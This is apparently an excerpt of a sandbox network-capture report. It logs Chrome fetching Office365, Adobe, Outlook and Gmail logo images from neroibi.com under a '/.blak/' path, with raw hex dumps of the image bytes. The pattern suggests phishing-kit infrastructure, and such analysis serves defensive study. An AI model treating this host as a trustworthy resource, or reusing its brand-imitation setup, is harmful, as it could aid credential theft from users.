2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 1a 91 dd 60 90 63 8e 14 d4 3c 61 3e 47 ca cc 4e af 98 27 7a 37 88 ce 1e 73 cc ac 17 bd 37 45 54 1b 1b 27 a2 42 08 92 6e 24 f2 de c9 67 77 9b fb 0c b3 f4 db 22 c4 e5 96 15 92 eb 8f 78 34 ac 83 ae f8 11 67 19 af 6e b1 03 a7 37 d2 5b 10 d3 bb 27 90 3f 4d 1f 2e 1f 16 61 fc 73 56 34 33 30 73 32 15 bd 62 97 3b 49 74 2e 89 de fd 82 79 23 df 2a a2 1a 83 65 ca 48 c0 8b b7 8c af 4c f1 ac 88 0a 2a 96 39 46 d5 3b df a9 30 7b fb 2e 44 d5 2c 4e 46 ec 48 11 44 7a 26 67 c6 ee cf 11 55 83 6b 58 2f 10 cd f3 1d ee 16 ec 61 42 dc 69 71 6a ef 3e f1 71 f5 b1 e4 09 11 15 36 3c b2 a8 ab 13 66 2a ce 08 18 4d b1 10 78 d4 5f 35 87 9f 11 dd 69 22 0c 81 37 09 0c a2 51 91 c0 c6 8f eb 32 7b 33 ea 6d 8e 2a 5e 11 5c bd fc 21 b3 cd d8 16 c2 ee 08 39 6c fa a4 a0 c6 0b b3 28 fb 10 be 7f 3e Data Ascii: `c<a>GN'z7s7ET'Bn$gw"x4gn7['?M.asV430s2b;It.y#eHL9F;0{.D,NFHDz&gUkX/aBiqj>q6<fMx_5i"7Q2{3m^\!9l(>
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 91 e4 4a d5 02 c4 3d 08 ee 49 aa 8e d7 d8 96 43 35 47 0a d2 55 e3 fa 03 d2 61 ee 05 69 6d 48 90 91 47 93 a4 ee 54 63 72 94 43 58 e3 64 53 44 cf 88 4b 3a 3f 2f ba 77 0b e4 d1 fd 07 05 b2 a7 78 99 4a 5a bc 93 41 e3 85 f4 3e 91 ed 16 f4 81 ec cf 8a fc 76 41 12 64 d8 00 fc 12 1d 39 45 e3 25 11 72 de 8b 22 04 07 16 6c 91 34 dc 19 27 7a 9f 17 fd 9f 12 08 a6 fb 7f 5e 34 7e cf fc b4 20 87 35 fb 23 c1 0b 7e 04 dc fc 7b c4 55 24 b6 f2 d3 11 a8 21 10 ec bc 22 ae 2c 32 8f 89 ee df 11 88 45 10 ba f5 bf 49 20 f7 49 fe b1 c8 f6 88 f2 19 81 cc b1 5c 23 a8 cc d0 98 61 90 3e 58 74 45 25 8a ee 62 41 5a 3f 3a a5 fc 87 45 31 cd 38 1b 3b 9f 60 2c f2 40 fc 94 4c 16 03 a7 45 f9 47 86 1c 4a 0b 5c 48 ae 25 19 9a 44 c3 ec b0 40 ac d0 58 2c 48 ae 4d f6 09 52 ba 19 a7 61 42 b8 f5 1d Data Ascii: J=IC5GUaimHGTcrCXdSDK:?/wxJZA>vAd9E%r"l4'z^4~ 5#~{U$!",2EI I\#a>XtE%bAZ?:E18;`,@LEGJ\H%D@X,HMRaB
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 4b 96 27 e2 bc 64 af c0 0e c4 98 65 94 35 27 09 7a 69 f3 45 81 2c 09 c9 26 a9 b1 c5 a0 c8 1e 14 dc eb 74 ab 48 6e 10 cd c7 44 b2 50 b0 9a 24 ff c1 dc 29 d2 65 e2 63 eb 1b 54 86 b1 8d 04 6d 15 63 33 7a 35 e9 9e 96 6d 21 43 8c a4 cf 63 e6 49 d1 bc 24 b0 ee b0 c6 15 b7 8b 58 89 de 14 dd f3 a2 33 46 90 66 3a 74 9b e8 2c 13 24 6a f7 3e 27 b0 94 20 33 42 da 12 62 32 cf 15 f4 bd d6 49 31 f0 a4 60 a6 1d f9 ba 18 b5 d6 6c 14 23 76 8b 6c 82 68 9c 15 c5 8b a2 77 ce 38 f9 98 99 b6 7f 97 b1 b8 16 5b 57 b2 5e 94 6d d1 7d 53 24 5d c1 1d 41 60 84 08 3e ff 8f c6 42 31 0c 5d e9 4e 91 6c 16 98 15 b1 ff f5 d7 88 98 6f 7d df b3 17 44 eb 80 e0 53 8c b8 55 8c 5c 23 06 0d 3d 10 9b 16 06 83 de 6a d1 d9 66 8e 8b 64 9c 68 3c 26 fa 7f 4e 60 78 eb 2f 12 d4 08 ea 17 a2 fc 3e d1 ff 15 Data Ascii: K'de5'ziE,&tHnDP$)ecTmc3z5m!CcI$X3Ff:t,$j>' 3Bb2I1`l#vlhw8[W^m}S$]A`>B1]Nlo}DSU\#=jfdh<&N`x/>
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 2b 0c 44 1d 06 ef 99 91 c0 56 f7 60 71 a7 aa 7d cc 3b 9f 90 b6 23 d8 ad 82 14 fb c3 9d bd 31 30 60 6f 70 55 ae c4 50 5b 29 be 9b 85 e0 e9 64 33 ed 1d b2 c9 82 fe 19 73 9d b3 ba ab f3 1e 95 46 d8 0f c4 7a 84 b9 ee 7f 19 5f 37 6a 1d 50 67 29 ea 05 21 7d a6 fa 1f 33 b3 6d 15 31 ef b9 86 43 cc 79 67 0c 15 15 9c c7 8f c5 25 4d 44 9c ec 6c 7b 48 1f 32 ec 40 5c b1 07 f9 75 98 16 fe 91 88 d5 f9 93 76 16 78 ef fb bd f7 92 c8 58 31 c8 85 7c dc 33 76 54 37 1a 25 c2 bc 7a 93 e8 9e 33 1b cc 41 73 83 e8 dd 25 48 6d ef de 6b 5e 36 9f 33 4f 8a ce 53 e6 8c 60 05 a1 c2 5e ff 56 d1 7c d2 d8 3a 92 cc 17 e9 bf 10 9d 7f 65 0e 1a 04 d6 37 9a 95 a2 3b 5a f0 1c 23 6c 06 b6 a5 95 5b 44 ff 65 11 86 40 ae 24 e7 59 62 2c 18 11 cc ba 9c 71 a8 41 c1 15 ab d8 e3 c3 62 6a 63 43 cc e1 6f Data Ascii: +DV`q};#10`opUP[)d3sFz_7jPg)!}3m1Cyg%MDl{H2@\uvxX1\|3vT7%z3As%Hmk^63OS`^V\|:e7;Z#l[De@$Yb,qAbjcCo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49751	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	354	OUT	GET /.blak/office365.png HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:35 GMT Accept-Ranges: bytes Content-Length: 11741 Connection: close Content-Type: image/png
2024-04-19 14:56:19 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 03 00 00 02 09 08 03 00 00 00 0f 9e ce 03 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 6c 50 4c 54 45 47 70 4c ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff ff ff ff 3c 00 ff 3f 00 ff fd fc ff f7 f4 ff 53 10 ff ef e9 ff 4b 02 ff ce bd ff e7 df ff 45 00 ff 95 6f ff 71 3c ff 65 2c ff 5b 1d ff c7 b3 ff a4 84 ff dd d1 ff 7a 4a ff 84 57 ff be a8 ff d5 c7 ff b2 98 ff 8c 62 ff 42 00 32 26 4f 6f 00 00 00 0b 74 52 4e 53 00 ef 40 cf 5b 9a 10 29 ba 7a df 01 65 7c 3e 00 00 20 00 49 44 41 54 78 da ec 5d 09 97 b2 b8 16 1c 11 64 f9 b8 e0 06 8a e2 fe ff ff e3 24 60 b7 b6 ad 2d 4b 90 dc 50 77 de Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<lPLTEGpL<<<<<<<<<<<?SKEoq<e,[zJWbB2&OotRNS@[)ze\|> IDATx]d$`-KPw
2024-04-19 14:56:19 UTC	3756	IN	Data Raw: 00 b9 68 07 60 39 6b 96 5e b2 2d ef 18 37 b8 58 01 29 6e e1 2f 41 da 5c be 77 7e cd 21 dc 8e 70 e7 c4 23 06 3a a0 c4 69 53 49 4f 6f 5c 14 9d 2d b4 91 24 1b 0f cb b2 68 33 79 07 8c e4 d3 15 03 5e b3 6d 62 2d 9f 0c 2e 14 7d a1 1d 48 2c 76 a0 bc e7 0f 10 b8 f7 af a4 78 ab 63 d2 67 69 ae 71 6b 08 5a f8 c8 a3 cd 80 6d 30 10 34 7d 3d b1 4d d8 1f ea 87 dd e4 d2 3b 09 d2 71 2a 54 d4 a7 7d 48 78 b8 8b 6b 14 3b 58 33 87 bd fd 20 77 99 19 04 75 e9 e9 1a fe 76 85 80 57 06 19 17 e0 75 3b f0 7a d2 0e a0 a8 eb 7d 09 2a 29 d2 d7 b1 4a 99 f5 c0 79 67 07 6e cc 06 03 10 d4 ad b7 03 40 59 94 08 ef 42 0a cb 41 61 2f 1f 77 8b 1a aa 45 7a 81 b3 b6 2d e6 76 03 ac ed f2 64 ee c3 91 d6 7e db c1 7b 01 d1 36 69 e0 63 07 52 e0 4b bf ae da 81 67 fc 81 95 67 9a be 6d 47 00 0a 9f a0 2a Data Ascii: h`9k^-7X)n/A\w~!p#:iSIOo\-$h3y^mb-.}H,vxcgiqkZm04}=M;qT}Hxk;X3 wuvWu;z})Jygn@YBAa/wEz-vd~{6icRKggmG*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49752	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	350	OUT	GET /.blak/adobe.jpg HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	208	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:35 GMT Accept-Ranges: bytes Content-Length: 30925 Connection: close Content-Type: image/jpeg
2024-04-19 14:56:20 UTC	7984	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 27 f3 8f bf e4 2a 0a 28 aa 8c 79 6f ad ee 67 29 72 db 4b dc 28 a5 f3 87 b7 e4 6a 0f 37 dd 7f 3f fe bd 51 3e d3 cb f1 ff 00 80 4d 45 57 a2 82 65 2e 6b 69 6b 0e f3 7d d7 f3 ff 00 eb d3 68 a2 83 1f 69 e5 f8 ff 00 c0 0a 28 a8 fc cf 6f d7 ff 00 ad 41 9d 4a 9b 69 df af a7 91 25 15 1f 99 ed fa ff 00 f5 aa 3a d3 d9 f9 fe 1f f0 4c fd a7 97 e3 ff 00 00 93 cc f6 fd 7f fa d4 79 9e df af ff 00 5a a3 a2 b4 31 94 b9 6d a5 ee 14 51 49 e7 1f 7f c8 50 67 2a bc b6 f7 6f 7f 3f f8 02 d2 79 c7 df f2 15 05 2f 9c 3d bf 23 41 8f b4 f2 fc 7f e0 17 7c 3f ff 00 20 3d 07 fe c0 3e 1e ff 00 d3 55 69 56 26 87 ff 00 20 2d 0f fe c0 5e 1f ff 00 d3 5d 69 d7 36 27 f8 d5 ff 00 ec 27 15 ff 00 a7 e6 7b 39 44 ed 94 e5 aa db 61 28 bb df bd 2a 7e 45 8a 2a bd 2f 9c 3d bf 23 58 1d fe d3 cb f1 ff 00 Data Ascii: '(yog)rK(j7?Q>MEWe.kik}hi(oAJi%:LyZ1mQIPgo?y/=#A\|? =>UiV& -^]i6''{9Da(~E/=#X
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 9f 9f c5 6d 0d a8 b8 8a db c6 de 3d f0 e7 c0 2f 03 5f b9 38 61 a7 69 1a 2e b0 7c 75 ab b2 b1 d8 ab 0f 8a e5 32 2a 8c 26 ed cb 5f cb 54 38 17 8c 33 ca 95 b3 2c 6e 13 fb 3e 9e 26 b5 5c 4e 27 30 ce ab d2 c0 53 e7 ad 39 4e 73 9d 3a d2 58 bb 26 d2 b2 c3 59 5d 36 e3 cc 7f bc 79 97 d2 c3 e8 df e1 5e 5f 93 f0 2f 0e f1 1f fa dd 88 c8 b2 fc 16 47 92 70 97 86 39 6e 23 8c 31 cb 09 96 e1 e9 61 68 60 b0 f8 cc 14 a9 e4 53 c4 53 a5 0a 69 d1 af 9c 61 ea ca 7e d2 4e 11 6e 4a 3f c6 5c 7e 74 b7 30 c3 0e 27 9a e3 fe 3d 6d bf e5 fe f7 f5 ff 00 0c 71 5f 71 fc 17 ff 00 82 66 7e de 7f b4 0b 5a 4b f0 cb f6 5a f8 b5 7b a4 5e 86 6b 6f 11 f8 ab 42 1f 0f 3c 26 55 38 2d 1f 8a fe 25 1f 0d e8 12 0c fd d3 19 6d c4 80 b9 c8 27 fa 65 6f f8 2a d7 fc 11 27 f6 1c 85 f4 cf d9 1b e0 2d 8f 8f 7c Data Ascii: m=/_8ai.\|u2&_T83,n>&\N'0S9Ns:X&Y]6y^_/Gp9n#1ah`SSia~NnJ?\~t0'=mq_qf~ZKZ{^koB<&U8-%m'eo'-\|
2024-04-19 14:56:20 UTC	6941	IN	Data Raw: 8c 1f 19 fc 48 6f 2e 6e 13 50 b3 f0 87 84 f4 d6 6f f8 44 7e 1d 78 38 c9 bd 7c 2d e1 5d 1d 8e 15 53 11 af f6 e6 5b c4 fe 28 78 f7 78 b9 d9 76 6d f9 43 ce 1e df 91 af 5b 3d e2 c8 54 c2 bc 87 86 a8 4b 29 e1 ba 3c d4 dc 22 b9 31 d9 c7 c3 cf 8a cc eb a5 1a b2 f6 f6 d6 8c 25 1d df 3c e7 68 a8 7c 07 84 ff 00 47 7a d8 5c f2 9f 8b 5e 39 e6 14 bc 46 f1 97 1d 0a 58 8a 75 71 b1 f6 fc 33 e1 f4 26 a9 e2 69 64 9c 1b 95 d4 82 c0 51 fe cc 94 e7 43 fb 4e 9e 1f 92 38 88 d4 c4 65 91 a3 89 75 b3 3c 72 51 4b e7 0f 6f c8 d7 ec 7f fc 11 ef fe 09 85 af 7e df 9f 18 d7 c5 3e 39 d3 af b4 9f d9 97 e1 56 a9 a7 dd fc 4b d6 ce 6c bf e1 37 d7 95 e3 d5 f4 bf 84 9e 16 d4 d4 89 64 d5 f5 d3 22 1f 16 eb d1 95 3e 16 f0 c3 21 69 21 f1 67 89 3c 33 2a 7c 9e 55 94 63 33 9c c3 0b 96 e0 21 ed 71 58 Data Ascii: Ho.nPoD~x8\|-]S[(xxvmC[=TK)<"1%<h\|Gz\^9FXuq3&idQCN8eu<rQKo~>9VKl7d">!i!g<3*\|Uc3!qX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49753	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	352	OUT	GET /.blak/outlook.png HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:37 GMT Accept-Ranges: bytes Content-Length: 34316 Connection: close Content-Type: image/png
2024-04-19 14:56:20 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 80 00 49 44 41 54 78 da ed dd 77 9c 1b c5 f9 3f f0 cf ac ca e9 9a eb b9 f7 02 6e 60 d3 8c cf 36 04 03 47 27 09 10 30 09 2d df 90 40 02 81 80 b1 29 c9 8f 24 4e 20 09 01 17 08 90 42 4f 80 10 20 21 a4 99 26 f0 d1 ec 73 a1 18 6c 53 dd bb 7d ae d7 25 ed ce ef 0f 49 77 ab 3d b5 d5 a9 3c b3 7a e6 f5 f2 0b 4e 5a bd 57 cf ec cc 3c Data Ascii: PNGIHDRxgAMAasRGB cHRMz&u0`:pQ<bKGDpHYsIDATxw?n`6G'0-@)$N BO !&slS}%Iw=<zNZW<
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: b9 8b dd 40 ce 92 7f 69 1c 4f 8f fe 61 ed c5 ae 38 0b b7 e4 e4 a1 05 87 4a af 00 30 21 af 95 ad 90 47 7d 30 67 8f 3d 3b 85 7a 7f 63 8f bd 02 79 13 d0 58 7a 79 8e 92 7f bc bb f7 42 7e 7f 6d fb 97 d6 4c 1f 88 97 fc 5b 73 92 fc e7 ae f1 42 e0 67 05 a8 6c 25 3c ea 83 39 7b ec d9 29 d4 fb 1b 7b ec 15 d4 93 f2 67 f5 bd 8e e8 89 ec 5f 73 67 bd 7b 2f 60 4e fe 88 2e 10 39 f4 0f cb c2 6d 39 7b 5c 61 43 e3 95 00 86 15 a4 b2 89 7b d4 07 73 f6 d8 b3 53 a8 f7 37 f6 d8 23 e0 0d ff ac ef d9 97 9b 5e ce c5 05 f7 6d d6 e4 0f 74 ec 21 58 17 0e c4 5b b8 0b 2b ef 08 66 ee 62 1f 90 fa 1e c8 1c 56 36 59 8f fa 60 ce 1e 7b 76 0a f5 fe c6 1e 7b 54 bc 90 bb f4 e6 fa 8a 51 25 c8 4d f2 6f 4d 94 cf ad bd ba d3 39 82 2c ac 3c 36 98 06 df 55 00 06 17 b2 b2 29 7a d4 07 73 f6 d8 b3 53 a8 Data Ascii: @iOa8J0!G}0g=;zcyXzyB~mL[sBgl%<9{){g_sg{/`N.9m9{\aC{sS7#^mt!X[+fbV6Y`{v{TQ%MoM9,<6U)zsS
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: ff 1a 1b 9f 5b c3 93 df 1a 89 ff 37 a3 2a c6 a3 54 7f d4 c7 67 87 7b 55 1a 04 7a 67 72 c8 9f 60 30 4a 7a 94 06 a3 44 de aa 6d e6 f3 cf d9 ab bf c9 43 ca 49 c6 db 15 cf 7c 04 20 9b ed 65 67 43 90 64 bc 56 2f 57 fd 6d 57 63 10 e7 3e f2 39 fe fe f1 7e 52 f1 76 c5 fb eb 07 7b 31 e3 f7 9f 60 67 e4 f6 da 6c b6 97 fe 95 1e 2c be 66 0c 2e 18 57 4e 26 de 78 1e f5 f1 d9 d9 9e a8 d2 00 59 95 c6 92 0a 04 a3 a6 47 b9 73 46 bd 8d fb 5b b3 5e 7f a5 1e 0d e3 fb 97 91 8c b7 2b de d0 1e de f0 24 2a 59 6e 2f 3b 1b 02 24 e3 b5 7a b9 ec 6f ad 21 89 ef fc 7d 2b 7e f6 ea f6 98 8b 03 0b 19 6f a6 0f d5 ba fd e5 ad b8 34 72 b1 5f a2 78 33 ad bf a3 07 95 63 d9 8f c6 63 62 1f 37 89 78 93 79 d4 c7 67 67 7b b2 4a 03 50 9e e6 d2 c4 83 51 db a3 d8 39 a3 de f6 83 c1 ac c7 7b 78 9f 52 54 Data Ascii: [7Tg{Uzgr`0JzDmCI\| egCdV/WmWc>9~Rv{1`gl,f.WN&xYGsF[^+$Yn/;$zo!}+~o4r_x3ccb7xygg{JPQ9{xRT
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: b3 53 a8 8f cf 24 3d 69 2c 0a e7 e8 8e bb f7 d0 39 9f 87 cc 93 ff b5 6f 99 e8 7d 81 96 85 5b db 93 7f c7 97 7a 4e c9 ca 51 c8 a3 de 39 d9 63 cf 4e e1 e4 cf 9e 9d 42 7d 7c 26 eb 69 e1 dc 1c 49 fe 15 88 fd 81 2f 01 04 ac 33 ff 6a 91 0f 58 d7 22 01 b4 75 4e fe 00 5a 9a ff 03 a0 55 b9 ca 51 c4 a3 de 39 d9 63 cf 4e e1 27 60 b2 67 a7 50 1f 9f 09 7b 2d 68 6e f9 af 29 f9 5b 7f cc b7 59 93 3f d0 b1 87 60 5d 38 10 6f 61 00 c0 ef 4f 6e 84 c0 ff 14 ab 1c 25 3c ea 9d 93 3d f6 ec 14 7e 02 26 7b 76 0a f5 f1 99 b8 f7 bf 9a cf 7f d1 8c f8 c9 bf 35 51 3e b7 6e a5 4e e7 08 e2 17 d9 e9 34 00 f1 ca 21 ef 51 ef 9c ec b1 67 a7 70 ff 60 cf 4e a1 3e 3e 53 f7 34 c3 78 1e 9d 93 bf 01 f3 35 7c f1 3e 67 f9 5b 4f 9d fc 01 a0 ec 7f 90 68 56 a5 72 a8 7b d4 3b 27 7b ec d9 29 dc 3f d8 b3 Data Ascii: S$=i,9o}[zNQ9cNB}\|&iI/3jX"uNZUQ9cN'`gP{-hn)[Y?`]8oaOn%<=~&{v5Q>nN4!Qgp`N>>S4x5\|>g[OhVr{;'{)?
2024-04-19 14:56:20 UTC	2331	IN	Data Raw: 6d 7a 6a 1d 54 1e af d8 cb 8a d7 7e 0d 40 26 89 9f 5a 30 ec 65 c1 9b b3 b4 06 52 dc 0b 60 02 a0 d6 e0 c6 1e 7b ec c5 f7 04 42 9f f8 da 0e dd 36 e5 8b fb de 84 93 c6 2b f6 ba e4 d9 6f 51 84 83 61 2f 4b de dc c5 6e 34 96 5e 2e a4 fc 99 4b 0f 0c a7 3e b8 b1 c7 1e 7b 89 bc b6 cd 5e bd f1 b7 47 6e 79 fa d9 ca c6 1d 21 50 18 5f d8 23 e3 65 bc 03 40 31 18 f6 b2 eb d5 f7 3a a2 e7 67 7d cf be 3c e4 2e bd 59 42 0c a4 37 b8 b1 c7 1e 7b 09 bc ad 25 6d 07 e7 8d df f9 e2 5f 7b 1d f8 34 10 79 99 d4 f8 c2 5e e1 bd 8c 76 00 a8 06 c3 5e 6e bc dd 55 e3 7d 9f f7 fd fa e5 6d 9e 6e 37 49 88 01 76 3d 05 06 4b f6 d8 73 8a b7 43 c0 f8 cd 91 eb 9f 78 a6 6f c3 e7 41 d3 eb 64 c7 17 f6 0a e7 d9 6e 5d 94 83 61 2f c7 de 91 bf 2e 81 10 d7 40 d3 6e 83 94 7d d2 f1 88 0f 96 ec b1 e7 14 6f Data Ascii: mzjT~@&Z0eR`{B6+oQa/Kn4^.K>{^Gny!P_#e@1:g}<.YB7{%m_{4y^v^nU}mn7Iv=KsCxoAdn]a/.@n}o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49754	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	350	OUT	GET /.blak/gmail.png HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:20 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:36 GMT Accept-Ranges: bytes Content-Length: 66743 Connection: close Content-Type: image/png
2024-04-19 14:56:20 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 05 00 08 06 00 00 00 18 e4 ff f7 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 b8 8c 00 00 b8 8c 01 cc f6 bb 2f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 7b 78 9c 75 9d f7 f1 cf ef 9e 49 d2 73 53 0a a5 39 51 28 05 85 4a a1 4c 26 c9 24 05 83 56 7c 10 10 05 ba e2 09 1f c5 23 ae 0a 22 a2 ac b2 5a 77 d1 65 45 51 76 f5 51 f1 84 c8 aa 55 14 41 5d 39 56 68 9b a4 49 38 da aa a0 14 48 32 29 60 a1 85 a6 cd 69 ee ef f3 07 07 29 f4 90 c3 cc fc 66 ee 79 bf bc b8 d4 b4 4c de 70 75 9a cc a7 bf 7b 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBIT\|dpHYs/tEXtSoftwarewww.inkscape.org< IDATx{xuIsS9Q(JL&$V\|#"ZweEQvQUA]9VhI8H2)`i)fyLpu{n
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: e0 76 49 07 fb 6e 01 00 00 00 80 82 63 aa cb c4 74 7b ba 79 e9 02 df 29 40 94 31 00 02 39 d2 93 4a d5 b8 b8 6e 77 d2 42 df 2d 00 00 00 00 50 b8 6c 81 59 fc e6 47 5b 96 56 fb 2e 01 a2 8a f7 00 04 72 60 73 73 f3 bc 8c 8d dc 21 e9 15 be 5b 00 00 00 00 a0 48 6c 74 c3 e1 ab ab bb bb ff ee 3b 04 88 1a 4e 00 02 59 b6 a5 b1 71 56 46 23 bf 15 e3 1f 00 00 00 00 8c c7 91 56 1e dc bc a9 f5 98 4a df 21 40 d4 30 00 02 59 d4 93 4a 4d 1d 0c c2 1b 64 4a f8 6e 01 00 00 00 80 22 74 4c c5 50 d9 2f 37 b5 b6 4e f1 1d 02 44 09 03 20 90 25 5d 89 44 59 4c 23 ab 24 1d ef bb 05 00 00 00 00 8a 95 49 ad e5 43 03 3f b3 d6 d6 b8 ef 16 20 2a 18 00 81 2c 30 29 a8 2a 77 3f 34 b9 93 7d b7 00 00 00 00 40 04 9c da 37 38 f0 7d 63 b7 00 b2 82 27 12 90 05 7d a9 e4 57 24 f7 56 df 1d 00 00 00 00 Data Ascii: vInct{y)@19JnwB-PlYG[V.r`ss![Hlt;NYqVF#VJ!@0YJMdJn"tLP/7ND %]DYL#$IC? ,0)w?4}@78}c'}W$V
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 5c df e3 3a 09 2a a4 fd 27 3f 51 53 47 c7 b5 7b b0 c9 ed c0 f2 a7 bf 69 9b ed 79 80 e5 6c 05 ae 73 9f 8b 29 f7 b8 eb 10 a8 1d 0a c0 88 38 b7 e6 fe db ad 31 db 5c e7 28 47 a5 56 ff 55 e2 dc 3f e9 93 0b 4b db df f5 f1 ca 62 c8 24 ba ba d5 b8 7b 48 a6 75 9e eb 28 00 00 00 28 91 69 6e 91 b7 6b 3f 67 3b 87 4d 2c a6 cf fd 87 ff 20 e9 93 fb b1 fc 47 97 35 7a fa 57 92 ef 57 ed 3c c0 5a ee 3e 73 c7 6c 7f a7 ab eb 0e d7 29 50 1b 14 80 11 91 4a 27 ff 17 49 77 ba ce e1 c2 6c 5f d1 29 75 eb af 24 25 17 7d 55 cd df f8 66 59 f9 10 4c b1 c5 4b e4 0d 1e 62 5a 1c 00 00 40 1d 30 6d ed f2 06 86 14 5f da e1 3a 0a aa 60 de f7 be a7 e6 6f 7c e3 da ef ad a4 fc e5 2b 1a 3d 7d 66 da 12 30 ba 8b fa 66 ed 8e 64 3e b3 d5 75 08 d4 06 05 60 04 9c 7f 78 f9 67 65 f4 84 eb 1c e5 